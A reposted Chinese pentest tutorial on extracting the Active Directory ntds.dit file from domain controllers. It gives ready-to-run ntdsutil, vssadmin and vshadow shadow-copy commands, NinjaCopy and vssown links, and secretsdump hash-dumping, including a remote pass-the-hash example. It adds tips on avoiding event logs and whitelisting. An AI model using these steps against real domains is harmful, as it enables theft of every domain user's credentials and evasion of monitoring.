域滲透——獲得域控服務器的NTDS.dit文件


0x00 前言


在之前的文章《導出當前域內所有用戶hash的技術整理》曾介紹過通過Volume Shadow Copy實現對ntds.dit文件的復制, 可用來導出域內所有用戶hash。本文將嘗試做系統總結,總結多種不同的方法。

0x01 簡介


本文將要介紹以下內容:

  • 多種實現方法
  • 比較優缺點

0x02 通過Volume Shadow Copy獲得域控服務器NTDS.dit文件


測試系統:

  • Server 2008 R2 x64
  • Server 2012 R2 x64

Volume Shadow Copy Service:

  • 用於數據備份
  • 支持Windows Server 2003 及以上操作系統
  • 系統默認在特定條件下自動創建數據備份,如補丁安裝后。在Win7系統大概每隔一周自動創建備份,該時間無法確定
  • 禁用VSS會影響系統正常使用,如 System Restore和 Windows Server Backup

1、ntdsutil

域環境默認安裝

支持系統:

  • Server 2003
  • Server 2008
  • Server 2012

常用命令:

(1) 查詢當前快照列表

ntdsutil snapshot "List All" quit quit

(2) 查詢已掛載的快照列表

ntdsutil snapshot "List Mounted" quit quit

(3) 創建快照

ntdsutil snapshot "activate instance ntds" create quit quit

(4) 掛載快照

ntdsutil snapshot "mount GUID" quit quit

(5) 卸載快照:

ntdsutil snapshot "unmount GUID" quit quit

(6) 刪除快照

ntdsutil snapshot "delete GUID" quit quit

實際測試:

(1) 查詢當前系統的快照

ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

(2) 創建快照

ntdsutil snapshot "activate instance ntds" create quit quit

guid為{6e31c0ab-c517-420b-845d-c38acbf77ab9}

如下圖

Alt text

(3) 掛載快照

ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

快照掛載為C:\$SNAP_201802270645_VOLUMEC$\,如下圖

Alt text

(4) 復制ntds.dit

copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

(5) 卸載快照:

ntdsutil snapshot  "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

(6) 刪除快照

ntdsutil snapshot  "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

2、vssadmin

域環境默認安裝

支持系統:

  • Server 2008
  • Server 2012

常用命令:

(1) 查詢當前系統的快照

vssadmin list shadows

(2) 創建快照

vssadmin create shadow /for=c:

(3) 刪除快照

vssadmin delete shadows /for=c: /quiet

實際測試:

(1) 查詢當前系統的快照

vssadmin list shadows

(2) 創建快照

vssadmin create shadow /for=c:

獲得Shadow Copy Volume Name為\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12

如下圖

Alt text

(3) 復制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit

(4) 刪除快照

vssadmin delete shadows /for=c: /quiet

3、vshadow.exe

系統默認不支持,,可在Microsoft Windows Software Development Kit (SDK)中獲得該工具

注:

64位系統需要使用64位的vshadow.exe

不同系統可供使用的vshadow.exe下載地址:

http://edgylogic.com/blog/vshadow-exe-versions/

常用命令:

(1) 查詢當前系統的快照

vshadow.exe -q

(2) 創建快照

vshadow.exe -p -nw C:

參數說明:

-p persistent,備份操作或是重啟系統不會刪除

-nw no writers,用來提高創建速度

C: 對應c盤

(3) 刪除快照

vshadow -dx=ShadowCopySetId

vshadow -ds=ShadowCopyId

實際測試:

(1) 查詢當前系統的快照

vshadow.exe -q

(2) 創建快照

vshadow.exe -p -nw C:

獲得SnapshotSetID為{809b77cc-cf9a-4101-b802-08e97d10e613}

獲得SnapshotID為{ef99d039-9a38-4e8b-9f57-e3113d464f76}

獲得Shadow copy device name為\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

如下圖

Alt text

(3) 復制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit

(4) 刪除快照

vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}

or

vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}

4、vssown.vbs

可供參考的下載地址:

https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

本質上是通過wmi對ShadowCopy進行操作

通過wmi查詢快照信息:

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list

powershell實現:

https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

擴展

1、日志文件

調用Volume Shadow Copy服務會產生日志文件,位於System下,Event ID為7036

執行ntdsutil snapshot "activate instance ntds" create quit quit會額外產生Event ID為98的日志文件

如下圖

Alt text

2、訪問快照中的文件

查看快照列表:

vssadmin list shadows

無法直接訪問\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12中的文件

可通過創建符號鏈接訪問快照中的文件:

mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\

如下圖

Alt text

刪除符號鏈接:

rd c:\testvsc

利用思路:

如果當前系統存在快照文件,可對系統的歷史文件進行訪問

3、利用vshadow執行命令

參考資料:

https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/

執行命令:

vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:

執行后,后台存在進程VSSVC.exe,同時顯示服務Volume Shadow Copy正在運行,需要手動關閉進程VSSVC.exe

注:

手動關閉進程VSSVC.exe會生成日志7034

利用思路:

vshadow.exe包含微軟簽名,能繞過某些白名單的限制。如果作為啟動項,Autoruns的默認啟動列表不顯示

0x03 通過NinjaCopy獲得域控服務器NTDS.dit文件


下載地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

沒有調用Volume Shadow Copy服務,所以不會產生日志文件7036

0x04 小結


本文整理了多種獲得域控服務器NTDS.dit文件的方法,測試使用環境,比較優缺點。

 

轉載自:https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E8%8E%B7%E5%BE%97%E5%9F%9F%E6%8E%A7%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84NTDS.dit%E6%96%87%E4%BB%B6/

 

 

 

0x06 impacket 工具包導出散列值

  使用Impacket中的secretsdump ,是可以解析ntds.dit文件,導出hash值 。

impacker-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

 

 

 

 

 

impacket 還可以直接通過用戶名和散列值進行驗證,遠程dump出hash

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM